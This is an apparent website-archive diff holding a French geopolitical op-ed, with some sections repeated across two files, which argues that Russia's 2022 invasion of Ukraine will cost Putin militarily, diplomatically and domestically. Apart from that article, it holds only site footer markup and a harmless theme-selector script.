<p>La réaction de la communauté internationale peut sembler insuffisante pour l’instant parce qu’elle n’a pas d’effet immédiat sur les combats mais les sanctions contre Moscou, qui sont les plus massives jamais prises contre un État, vont avoir un impact durable sur des secteurs (finances, énergie, transport, technologies) et des individus, dont des oligarques puissants. Elles commencent déjà à être mises en œuvre : le 26 février, par exemple, les autorités françaises ont intercepté dans la Manche un cargo russe chargé de voitures à destination de Saint-Pétersbourg qui a été dérouté vers Boulogne-sur-Mer. L’exclusion de la Russie du système bancaire Swift – l’une des mesures économiques les plus radicales – devrait être effective prochainement. Les sanctions ne viennent pas que d’Europe et d’Amérique du Nord mais aussi d’Australie, du Japon, de Corée du sud et de Taiwan, notamment sur certaines technologies clés dont Moscou a besoin comme des semi-conducteurs. La Chine pourra compenser certains de ces effets mais pas tous et cela prendra du temps. Elle ne pourra pas rendre les fonds, les propriétés, les yachts saisis ; elle ne pourra pas rouvrir les espaces aériens désormais clos aux avions russes, etc.</p> | |||
<p>La résolution présentée au Conseil de sécurité des Nations Unies (CSNU) le 26 février a confirmé l’isolement de la Russie, seul État à voter contre – et qui l’a donc, sans surprise, bloquée par son veto (l’occasion de rappeler que la Russie est, de loin, le membre permanent du CSNU qui a le plus utilisé son veto depuis 1990, et surtout dans la dernière décennie). L’abstention de la Chine était attendue, celles de l’Inde et des Émirats arabes unis étaient décevantes même si, au total, 11 États sur 15 ont voté en faveur de ce texte demandant à Moscou de cesser immédiatement son attaque et de retirer ses troupes. L’issue de cette résolution était certaine, mais il fallait en passer par là pour envisager d’autres options. Certains pensent désormais une résolution de l’Assemblée générale, qui devrait confirmer l’isolement de la Russie sur la scène internationale.</p> | |||
<p>La société civile mondiale n’est pas en reste et peut, elle aussi, causer des dommages sérieux, et pas seulement en termes d’image. Au lendemain de l’offensive sur l’Ukraine, le collectif de hackers Anonymous a déclaré la « cyberguerre » à la Russie et a revendiqué des attaques qui ont mis hors ligne plusieurs sites gouvernementaux, dont celui du ministère russe de la Défense, ainsi que celui du média RT (ex-Russia Today). Dans plusieurs pays, dont le Royaume-Uni et la France, des parlementaires et des personnalités publiques ont demandé la suspension de RT. En Australie, l’opérateur de télévision Foxtel l’a fait le 26 février. YouTube a déjà « commencé à suspendre la possibilité pour certaines chaînes [russes] de générer des revenus sur YouTube, y compris les chaînes de RT dans le monde ».<em> </em>Et des mesures européennes pourraient être prises prochainement pour lutter contre la propagande russe. <a href="https://legrandcontinent.eu/fr/2022/02/25/le-monde-du-sport-face-linvasion-russe-de-lukraine/">Le monde du sport est lui aussi mobilisé</a> : l’UEFA a condamné « l’invasion militaire » russe et déplacé la finale de la Ligue des champions qui devait se jouer à Saint-Pétersbourg, plusieurs sportifs très suivis ont renoncé à des compétitions en Russie et plusieurs équipes nationales ont annoncé qu’elles ne joueraient plus contre des équipes russes. Dans tous les domaines, les appels à boycotter les biens et les services russes se multiplient.</p> | |||
<p>Dans ces conditions, l’affaiblissement économique de la Russie est inévitable, comme son isolement politique sur la scène internationale. La Russie deviendra véritablement un État paria, dont on ne voudra plus dans les relations commerciales, les formats diplomatiques (au deuxième jour de l’offensive le Conseil de l’Europe suspendait déjà les droits de représentation de la Russie), les espaces aériens, les espaces informationnels, les compétitions sportives et tous les événements qui font la vie internationale. C’est pourquoi j’écrivais que la guerre allait « isoler et affaiblir la Russie qui deviendra paria ».</p> | |||
<p>Poutine peut se rassurer en se disant qu’il aura des relations avec la Chine, l’Iran, le Pakistan et quelques autres États qui sont indifférents au respect du droit international et des principes d’humanité, mais cela pourrait ne pas convaincre les entrepreneurs, les athlètes et d’une manière générale la population qui paiera le prix de cet isolement.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>L’affaiblissement économique de la Russie est inévitable, comme son isolement politique sur la scène internationale. La Russie deviendra véritablement un État paria.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="5-la-fin-de-poutine"><strong>5 — La fin de Poutine ?</strong></h2> | |||
<p>Ce que cette guerre détruit est l’avenir de la Russie et ses habitants le savent. La guerre en Ukraine va produire en Russie un immense mécontentement, et donc un immense problème pour Poutine qui, comme tous les dictateurs, craint d’abord et avant tout son propre peuple. D’abord parce que la guerre va faire des milliers de morts russes, donc des dizaines de milliers de familles et d’amis endeuillés. Les autorités ukrainiennes jouent très habilement cette carte en mettant en place une <em>hotline</em>, une assistance téléphonique, et un site Internet pour les familles des soldats russes tués ou capturés, et en demandant au CICR de rapatrier les corps en Russie. Cette pratique a au moins deux intérêts : d’une part, contourner la censure russe qui n’informe pas les familles du sort de leurs proches, pour que la population russe prenne bien conscience des pertes et du coût de cette guerre, mais aussi des mensonges de leur gouvernement qui tente de le leur cacher, ce qui devrait accroître son ressentiment et donc les chances qu’elle se mobilise. D’autre part, c’est aussi un gain en termes d’image puisque les Ukrainiens montrent ainsi que leur conduite est plus humanitaire que celle des Russes qui pourtant les attaquent. </p> | |||
<p>La population russe ne comprend pas cette guerre et elle s’y oppose. Dès le début de l’offensive, des manifestations ont été organisées sur l’ensemble du territoire. Des tags « Non à la guerre » sont apparus un peu partout, et les quelques médias indépendants qui restent dans le pays affichent leur opposition au conflit et leur soutien au peuple ukrainien. Un collectif de 664 chercheurs et scientifiques russes ont dénoncé dans une lettre ouverte la responsabilité de la Russie et estime qu’elle « s’est condamnée à l’isolement sur la scène internationale et à un destin de pays paria ». Même le consensus politique commence à se fissurer : au troisième jour de guerre, un député de la Douma qui avait voté en faveur de la reconnaissance des entités séparatistes s’oppose à l’invasion. D’une manière générale, la guerre va catalyser l’opposition russe.</p> | |||
<p>Au contraire du soutien populaire qu’avaient pu susciter en 2014 et les années suivantes l’annexion de la Crimée et le soutien aux séparatistes prorusses du Donbass, la guerre totale que Poutine livre à l’ensemble de l’Ukraine, sans aucune raison, suscite de l’incompréhension et des protestations qui ne feront que croître à mesure que les forces russes massacreront des civils ukrainiens, dont la plupart des Russes se sentent plutôt proches, et que cette folie meurtrière aura des conséquences sur leur niveau de vie.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>D’une manière générale, la guerre va devenir un catalyseur de l’opposition russe.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>La population russe est trop réprimée pour que cela mène à d’importants soulèvements – 1700 manifestants ont été arrêtées dans 42 villes dans la seule journée du 24 février – et, conscient du danger, le régime va sans doute accroître encore la répression interne. Le 25 février, l’ancien président russe Dmitry Medvedev a d’ailleurs proposé de profiter de l’expulsion de la Russie du Conseil de l’Europe pour réintroduire la peine de mort – un signal envoyé à la population que, pour assurer sa survie, le régime est prêt à prendre des mesures toujours plus radicales. Cela ne fera qu’envenimer la situation et confirmer qu’avec cette guerre Poutine a sans doute perdu une partie du soutien populaire qu’il avait bâti au cours des deux dernières décennies.</p> | |||
<p>Plus préoccupant pour lui est le mécontentement de l’élite économique russe, qui va perdre beaucoup d’argent à cause de l’aventurisme présidentiel, ce qui présente un vrai risque de fragmentation du régime qui jusque-là maintenait des équilibres subtils. Avec « sa » guerre, Poutine se fabrique des ennemis de l’intérieur, dont des oligarques très puissants qui vont payer le prix de ses rêves de grandeur. Le ressentiment et l’hostilité qu’il va générer au sein même de l’élite russe constitue un risque réel pour son maintien au pouvoir dans les prochains mois et les prochaines années. Cette guerre « de trop » est sa plus grande erreur de jugement et elle pourrait causer sa perte. C’est pourquoi j’écrivais qu’elle va « menacer son propre pouvoir à Moscou » et que ce sera « le début de la fin » – de sa fin.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Avec « sa » guerre, Poutine se fabrique des ennemis de l’intérieur, dont des oligarques très puissants qui vont payer le prix de ses rêves de grandeur.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="le-scenario-du-pire"><strong>Le scénario du pire</strong></h2> | |||
<p>Tout ce qui précède n’est qu’un scénario parmi d’autres, et un scénario optimiste puisqu’il présume que la guerre restera limitée au territoire ukrainien, ce qui n’est pas du tout certain. Il y a malheureusement une autre possibilité. Voyant qu’il a surestimé ses forces en Ukraine et sous-estimé la réaction internationale, c’est-à-dire qu’il perd le contrôle de la situation, Poutine peut vouloir reprendre l’initiative en escaladan<strong>t</strong>. Il peut le faire d’au moins trois manières :</p> | |||
<ol><li>Vis-à-vis de l’OTAN, dans un contexte de tension extrême, en s’en prenant à un État membre qu’il accusera de fournir des armes et/ou du renseignement, de protéger le président Zelensky et/ou des membres de son gouvernement, d’une attaque montée de toute pièce – dans le cadre d’une opération sous faux drapeau –, ou encore à la faveur d’un incident frontalier – par exemple à la frontière polonaise par laquelle passent les armes –, ou d’un accrochage dans le ciel ou en mer Noire. S’il attaque un État membre, il le fera en signalant la menace nucléaire d’une façon suffisamment explicite pour tester la solidarité de l’article 5. </li><li>Il peut aussi escalader sur le territoire ukrainien, dans un premier temps en ayant recours à des bombardements massifs comme nous l’avons déjà mentionné, mais aussi en dernier recours par l’emploi d’une arme nucléaire tactique, en prétextant riposter à une attaque montée de toute pièce – Moscou commence déjà à répandre la rumeur selon laquelle les Ukrainiens pourraient faire exploser une « bombe sale » sur le territoire russe. Par l’emploi de l’arme nucléaire contre l’Ukraine, Moscou signalerait son intention d’aller « jusqu’au bout » en espérant susciter un effet de sidération et en présumant que l’OTAN n’osera pas escalader, tout en rendant le territoire ukrainien inutilisable et en le transformant, de fait et pour des milliers d’années, en une zone tampon avec l’Ouest.</li><li>Il pourrait aussi vouloir ouvrir un nouveau front, dans les Balkans ou ailleurs, non seulement pour maximiser ses chances de gains pour le même coût (s’il estime que les sanctions internationales ont déjà atteint leur paroxysme), mais aussi pour faire diversion, c’est-à-dire dissimuler ce qui sera un échec relatif ou absolu en Ukraine. Cette hypothèse se heurte toutefois à une réalité matérielle et psychologique : au vu du coût humain et matériel de la guerre en Ukraine, il n’est pas du tout certain que la Russie ait les moyens d’autres ambitions, et surtout que les généraux – dont il se dit que certains n’étaient déjà pas favorables à l’aventure ukrainienne – suivent Poutine ailleurs, ce qui ne ferait qu’augmenter sa frustration.</li></ol> | |||
<figure class="wp-block-pullquote"><blockquote><p>Le scénario du pire est improbable mais il n’est pas impossible, comme l’est le risque de guerre majeure en général.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Le scénario du pire est improbable mais il n’est pas impossible, comme l’est le risque de guerre majeure en général. Poutine étant visiblement enfermé dans un délire paranoïaque et hubristique, rien ne doit être exclu. C’est aussi en ce sens tragique que cela pourrait être « le début de la fin ».</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,48 @@ | |||
title: Pourquoi Poutine a déjà perdu la guerre | |||
url: https://legrandcontinent.eu/fr/2022/02/27/pourquoi-poutine-a-deja-perdu-la-guerre/ | |||
hash_url: 7591561f82b6ec5b32ead9df89a11c15 | |||
<p class="has-drop-cap">Le 24 février 2022, au premier jour de l’offensive russe contre l’Ukraine, j’écrivais : « Quelle que soit l’issue de la guerre, Poutine l’a déjà perdue. En plus de pousser vers l’Ouest ce qui restera de l’Ukraine, elle va renforcer voire agrandir l’OTAN, isoler et affaiblir la Russie qui deviendra paria, et menacer son propre pouvoir à Moscou. Le début de la fin. » Il peut paraître présomptueux au premier jour d’une guerre d’en prédire l’issue, et contre-intuitif – ou optimiste – d’envisager que celle-ci ne soit pas favorable au plus puissant des deux belligérants. Il me semblait toutefois que ce dénouement s’imposait comme la conclusion logique du raisonnement suivant, en cinq étapes.</p> | |||
<h2 id="1-le-prix-de-la-victoire-militaire"><strong>1 — Le prix de la victoire militaire</strong></h2> | |||
<p>Si la victoire militaire de Poutine semble inévitable, compte tenu de l’asymétrie des forces en présence, elle aura un coût humain et matériel considérable. En seulement trois jours d’affrontement, l’état-major des armées ukrainien – dont il faut bien entendu prendre les chiffres avec le recul nécessaire – estime que les forces russes ont perdu 4300 hommes (tués ou capturés), 27 avions, 26 hélicoptères, 2 bateaux, 146 tanks et 706 véhicules blindés. Moscou de son côté nie avoir subi ces pertes et ne communiquera sans doute jamais le bilan véritable. Quoi qu’il en soit, grâce à l’extraordinaire combativité des Ukrainiens, alimentés en armes par au moins 28 pays, l’affrontement n’est pas la <em>blitzkrieg</em> espérée : il est plus intense et sera sans doute plus long que les stratèges russes ne l’espéraient. Comme l’a souligné Lawrence Freedman, ils ont commis deux erreurs classiques, la sous-estimation de l’ennemi et la surestimation de leurs propres forces, qui sont en fait la même : l’arrogance.</p> | |||
<p>Cela pose aux forces russes des problèmes de logistique (manque de carburant, de rations et peut-être même de munitions) – dont on savait avant même l’invasion que ce serait le point faible d’une opération de ce type – mais aussi des problèmes d’image puisque la partie ukrainienne documente et diffuse abondamment des photos et des vidéos d’avions abattus, de tanks détruits, de soldats russes tués et capturés, et des crimes de guerre commis (par exemple l’usage de bombes à sous-munitions dans des zones civiles). Ils le font avec le soutien d’une communauté d’« Osinters », c’est-à-dire d’experts du renseignement d’origine sources ouvertes, situés partout dans le monde, et dont l’efficacité dans ce conflit est spectaculaire – comme l’est aussi l’utilisation des réseaux sociaux, en particulier Twitter. Au contraire de leurs adversaires, les forces ukrainiennes communiquent extrêmement bien et le président Zelensky est en quelques jours devenu une figure héroïque, louée dans le monde entier. Quelle que soit l’issue militaire du conflit, Poutine a déjà perdu la bataille de l’image.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Quelle que soit l’issue militaire du conflit, Poutine a déjà perdu la bataille de l’image.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Le manque de résultats concrets sur le terrain, la lenteur de l’avancée des envahisseurs, qui à l’heure où nous écrivons ces lignes ne contrôlent toujours aucune ville majeure, combinée aux difficultés précédentes font grandir un sentiment de frustration au sein des troupes russes. Comme tous n’étaient pas convaincus de la nécessité de cette guerre, plus elle dure et plus le doute s’installera dans les esprits, atteignant peut-être bientôt le moral des troupes. Dans tous les cas, il est certain que Moscou perdra au moins plusieurs milliers d’hommes, ce qui fera de cette guerre son intervention militaire la plus coûteuse des deux dernières décennies. </p> | |||
<p>Dans ces conditions, il y a deux possibilités. La première est que Poutine n’aille pas jusqu’au bout. La résistance locale s’ajoutant à la pression internationale et au risque national (voir points 4 et 5 ci-dessous), elle pourrait le pousser à la négociation avant la défaite de l’armée ukrainienne. Il le présenterait avantageusement mais personne ne serait dupe : ce serait pour lui personnellement et pour les forces armées russes un échec cuisant, et même une humiliation. Il était prêt à payer un prix calculé pour un gain, mais il risque de payer un prix beaucoup plus élevé qu’il ne l’imaginait pour un gain moindre ou inexistant. Poutine sait qu’une défaite en Ukraine signifierait sans doute sa chute à Moscou. S’il se sent dos au mur, le plus probable est donc qu’il choisisse la fuite en avant.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Poutine sait qu’une défaite en Ukraine signifierait sans doute sa chute à Moscou. S’il se sent dos au mur, le plus probable est donc qu’il choisisse la fuite en avant.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>La seconde possibilité, qui malheureusement semble plus vraisemblable, est qu’il s’entête quel qu’en soit le prix. <a href="https://legrandcontinent.eu/fr/2022/02/26/ukraine-etat-des-forces-et-perspectives/">Les combats pourraient encore durer des semaines</a> et, pour en accélérer l’issue et donc diminuer l’impression d’une défaite russe, pour briser le moral de la population ukrainienne, il pourrait être tenté d’avoir recours à des frappes aériennes massives massacrant des dizaines de milliers de civils, comme les Russes ont montré qu’ils savaient le faire en Syrie. C’est d’autant moins exclu que l’hypothèse avait déjà été discutée à la télévision russe en 2016 : alors qu’un intervenant suggérait « qu’il ne serait pas utile d’envoyer des forces terrestres russes dans les grandes villes ukrainiennes car cela entraînerait « d’énormes pertes pour l’armée russe »[, d’autres] n’étaient pas d’accord et ont déclaré que [le <em>carpet bombing</em> d’]Alep montre la voie que Moscou pourrait suivre ». </p> | |||
<h2 id="2-le-bourbier-de-l-occupation"><strong>2 — Le bourbier de l’occupation</strong></h2> | |||
<p>Dans cette seconde hypothèse où, d’une manière ou d’autre, Moscou finirait par remporter une victoire militaire – à un prix qui sera donc exorbitant, non seulement pour le peuple ukrainien mais aussi pour les soldats russes –, ce ne serait que le début des difficultés. Si la guerre américaine en Irak (<em>Operation Iraqi Freedom</em>, 2003) est une indication, voire une inspiration pour Moscou puisque comme l’a montré Elie Tenenbaum le parallèle « est frappant », il faut rappeler que le fameux discours de George W. Bush du 1<sup>er</sup> mai 2003 sur le porte-avion USS Abraham Lincoln affichant fièrement une bannière « Mission accomplished » marquait non pas la fin mais le début des ennuis pour les Américains en Irak (en 2010, Bush reconnaîtra d’ailleurs que cette bannière était « une erreur »). Il y a certes une différence importante, qui est que les Russes sont beaucoup plus proches des Ukrainiens que les Américains ne l’étaient des Irakiens, et donc qu’ils avaient davantage de raisons d’espérer être accueillis en « libérateurs » par au moins une partie d’entre eux – mais l’agression russe au lieu de profiter de la désunion de la société ukrainienne semble au contraire avoir suscité un effet de « ralliement autour du drapeau » contre l’envahisseur, auquel Moscou ne s’attendait visiblement pas. </p> | |||
<p>Dans tous les cas, prendre un pays est une chose – et c’est à la portée d’une grande puissance militaire comme la Russie – mais le tenir, c’est-à-dire l’occuper, en est une autre. C’est une remarque qui vaut aussi pour la Chine vis-à-vis de Taïwan.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Prendre un pays est une chose – et c’est à la portée d’une grande puissance militaire comme la Russie – mais le tenir, c’est-à-dire l’occuper, en est une autre. C’est une remarque qui vaut aussi pour la Chine vis-à-vis de Taïwan.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Si, première option, Poutine annexe <em>de facto</em> l’ensemble du territoire ukrainien, les troupes russes feront face au quotidien à une résistance certes variable mais réelle et probablement durable parce que soutenue par l’étranger, en matériel et en volontaires (qui affluent déjà : le 27 février, Zelensky annonçait la création d’une légion internationale, formation de la garde nationale enrôlant des étrangers). Cette occupation sera donc extrêmement coûteuse, à la fois économiquement et humainement, et pour cette raison elle sera sans doute aussi impopulaire au sein non seulement de la population mais aussi de l’élite russes. </p> | |||
<p>Si, deuxième option qui pour les raisons précédentes est plus probable, Poutine préfère ne garder sous son contrôle qu’une partie du territoire – sans doute le Donbass et le corridor sud permettant de le relier à la Crimée voire peut-être à la Transnistrie – et placer à Kyïv un gouvernement pro-russe, le risque est alors celui d’une guerre civile puisque la résistance sera la même mais dirigée cette fois contre ces autorités illégitimes. Le rapport de force n’étant a priori pas en faveur de ces dernières – puisque le centre et l’ouest de l’Ukraine sont précisément les régions majoritairement pro-occidentales –, les Russes contrôlant le reste du pays seront sans doute contraints d’intervenir régulièrement, maintenant le pouvoir local sous perfusion, ce qui reviendrait de fait à une version dégradée de la première option.</p> | |||
<p>Si, troisième option qui pour les raisons précédentes est plus probable que les deux autres, Poutine divise le pays en deux, par exemple au niveau du Dniepr, créant de fait une Ukraine de l’Est sous son contrôle (soit direct par annexion, soit indirect par la mise en place d’une autorité à sa solde à la manière biélorusse) et une Ukraine de l’Ouest à laquelle il renonce parce ce qu’elle serait de toute façon ingouvernable et parce que cela lui donne une carte à jouer dans une négociation avec l’OTAN, la situation sur le long terme ne lui sera pas plus favorable puisque cette Ukraine de l’Ouest cherchera à rejoindre le plus vite possible l’Union européenne voire l’OTAN, qui pourraient y être plus favorables qu’avant. Autrement dit, même si elle ne concernera pas la même surface territoriale, Poutine aura accéléré l’extension qu’il voulait prévenir. C’est pourquoi j’écrivais qu’il allait « pousser vers l’Ouest ce qui restera de l’Ukraine ».</p> | |||
<h2 id="3-le-renforcement-de-l-otan"><strong>3 — Le renforcement de l’OTAN</strong></h2> | |||
<p>L’agression russe – sa duplicité, son ampleur et sa brutalité – a été pour les Européens surtout, mais aussi les Nord-Américains et une partie du reste du monde, un choc d’une magnitude plus grande encore à celle du 11 septembre 2001, qui nous fait entrer dans une nouvelle ère des relations internationales (une ère de post-post-guerre froide, c’est-à-dire « l’amorce d’une véritable guerre froide » comme l’a dit Bruno Tertrais, avec ce paradoxe qu’elle commence par une guerre « chaude »).</p> | |||
<p>Ce choc a eu et aura plusieurs effets. D’abord, il a immédiatement renforcé la raison d’être d’une alliance qui, depuis la dissolution du Pacte de Varsovie contre lequel elle était dirigée, a traversé plusieurs crises existentielles. La guerre en Ukraine a mis fin aux questionnements métaphysiques que certains pouvaient avoir sur la pertinence ou l’intérêt de l’OTAN aujourd’hui, en démontrant clairement que ce n’est pas parce qu’il n’y a plus d’URSS que les pays de l’Alliance ne font pas face à une menace commune – d’autant plus que cette menace est visiblement motivée par une volonté de reconstruire une forme d’URSS voire d’empire – qui justifie donc une défense commune (et, rétrospectivement, justifie aussi la prescience de ceux qui pensaient qu’il valait mieux maintenir l’OTAN en cas d’irrédentisme russe). La guerre a aussi renforcé la cohésion de l’OTAN qui, pour la toute première fois de son histoire, a activé sa force de réaction rapide, créée au sommet de Prague en 2002.</p> | |||
<p>Ensuite, ce choc qui a été une prise de conscience aiguë – pour ceux qui, par idéologie ou naïveté, faisaient encore mine de l’ignorer – que la Russie est un État hostile aux portes de l’Europe, dirigé par un homme imprévisible et irrationnel, va pousser l’ensemble des pays concernés à augmenter leur effort de défense. Il n’y a pas de meilleure incitation à respecter voire dépasser l’objectif otanien des 2 % du PIB consacrés aux dépenses militaires, à moderniser les équipements et à accroître leur disponibilité opérationnelle, dans une perspective de conflit de haute intensité. Le 27 février, lors d’une séance extraordinaire du Bundestag, le chancelier allemand Olaf Scholz a ainsi annoncé un budget de 100 milliards d’euros pour moderniser l’armée allemande et une augmentation du budget de la défense à plus de 2 % du PIB. C’est historique. Poutine a réussi le tour de force de réveiller l’Allemagne, qui était particulièrement en retard dans ce domaine. Comme l’écrivait Benjamin Haddad, « l’heure du réarmement européen a sonné ».</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>La guerre en Ukraine a mis fin aux questionnements métaphysiques que certains pouvaient avoir sur la pertinence ou l’intérêt de l’OTAN aujourd’hui, en démontrant clairement que ce n’est pas parce qu’il n’y a plus d’URSS que les pays de l’Alliance ne font pas face à une menace commune</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Enfin, ce choc a aussi considérablement renforcé l’attractivité de l’OTAN, puisque l’Ukraine a été la démonstration éclatante que ceux qui n’en font pas partie sont vulnérables. Le président Biden a été très clair sur ce point en prévenant, deux semaines avant l’invasion russe, que les Américains n’enverraient pas de troupes en Ukraine. Si la décision était fondée dans l’absolu – puisqu’il s’agissait d’éviter une escalade pouvant mener à une « guerre mondiale » –, on peut toutefois se demander s’il était bien nécessaire de le dire aussi clairement, puisque cette déclaration a pu être interprétée à Moscou comme un feu vert. L’ambiguïté stratégique aurait pu être préférable. Quoi qu’il en soit, cette guerre est une démonstration par l’absurde de la valeur ajoutée de l’OTAN, c’est-à-dire une démonstration du risque de ne pas en faire partie. Elle aura des conséquences immédiates sur les pays qui, comme la Suède et la Finlande, se posaient la question : l’invasion russe de l’Ukraine va « changer » le débat national sur l’adhésion à l’OTAN, a notamment déclaré la Première ministre finlandaise dès le premier jour de l’offensive.</p> | |||
<p>C’est pourquoi j’écrivais que cette guerre allait « renforcer voire agrandir l’OTAN ». Elle va rendre plus forts, à la fois individuellement et collectivement, ceux-là mêmes que Poutine voulait affaiblir. </p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Cette guerre est une démonstration par l’absurde de la valeur ajoutée de l’OTAN, c’est-à-dire une démonstration du risque de ne pas en faire partie</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="4-l-isolement-de-la-russie"><strong>4 — L’isolement de la Russie</strong></h2> | |||
<p>La réaction de la communauté internationale peut sembler insuffisante pour l’instant parce qu’elle n’a pas d’effet immédiat sur les combats mais les sanctions contre Moscou, qui sont les plus massives jamais prises contre un État, vont avoir un impact durable sur des secteurs (finances, énergie, transport, technologies) et des individus, dont des oligarques puissants. Elles commencent déjà à être mises en œuvre : le 26 février, par exemple, les autorités françaises ont intercepté dans la Manche un cargo russe chargé de voitures à destination de Saint-Pétersbourg qui a été dérouté vers Boulogne-sur-Mer. L’exclusion de la Russie du système bancaire Swift – l’une des mesures économiques les plus radicales – devrait être effective prochainement. Les sanctions ne viennent pas que d’Europe et d’Amérique du Nord mais aussi d’Australie, du Japon, de Corée du sud et de Taiwan, notamment sur certaines technologies clés dont Moscou a besoin comme des semi-conducteurs. La Chine pourra compenser certains de ces effets mais pas tous et cela prendra du temps. Elle ne pourra pas rendre les fonds, les propriétés, les yachts saisis ; elle ne pourra pas rouvrir les espaces aériens désormais clos aux avions russes, etc.</p> | |||
<p>La résolution présentée au Conseil de sécurité des Nations Unies (CSNU) le 26 février a confirmé l’isolement de la Russie, seul État à voter contre – et qui l’a donc, sans surprise, bloquée par son veto (l’occasion de rappeler que la Russie est, de loin, le membre permanent du CSNU qui a le plus utilisé son veto depuis 1990, et surtout dans la dernière décennie). L’abstention de la Chine était attendue, celles de l’Inde et des Émirats arabes unis étaient décevantes même si, au total, 11 États sur 15 ont voté en faveur de ce texte demandant à Moscou de cesser immédiatement son attaque et de retirer ses troupes. L’issue de cette résolution était certaine, mais il fallait en passer par là pour envisager d’autres options. Certains pensent désormais une résolution de l’Assemblée générale, qui devrait confirmer l’isolement de la Russie sur la scène internationale.</p> | |||
<p>La société civile mondiale n’est pas en reste et peut, elle aussi, causer des dommages sérieux, et pas seulement en termes d’image. Au lendemain de l’offensive sur l’Ukraine, le collectif de hackers Anonymous a déclaré la « cyberguerre » à la Russie et a revendiqué des attaques qui ont mis hors ligne plusieurs sites gouvernementaux, dont celui du ministère russe de la Défense, ainsi que celui du média RT (ex-Russia Today). Dans plusieurs pays, dont le Royaume-Uni et la France, des parlementaires et des personnalités publiques ont demandé la suspension de RT. En Australie, l’opérateur de télévision Foxtel l’a fait le 26 février. YouTube a déjà « commencé à suspendre la possibilité pour certaines chaînes [russes] de générer des revenus sur YouTube, y compris les chaînes de RT dans le monde ».<em> </em>Et des mesures européennes pourraient être prises prochainement pour lutter contre la propagande russe. <a href="https://legrandcontinent.eu/fr/2022/02/25/le-monde-du-sport-face-linvasion-russe-de-lukraine/">Le monde du sport est lui aussi mobilisé</a> : l’UEFA a condamné « l’invasion militaire » russe et déplacé la finale de la Ligue des champions qui devait se jouer à Saint-Pétersbourg, plusieurs sportifs très suivis ont renoncé à des compétitions en Russie et 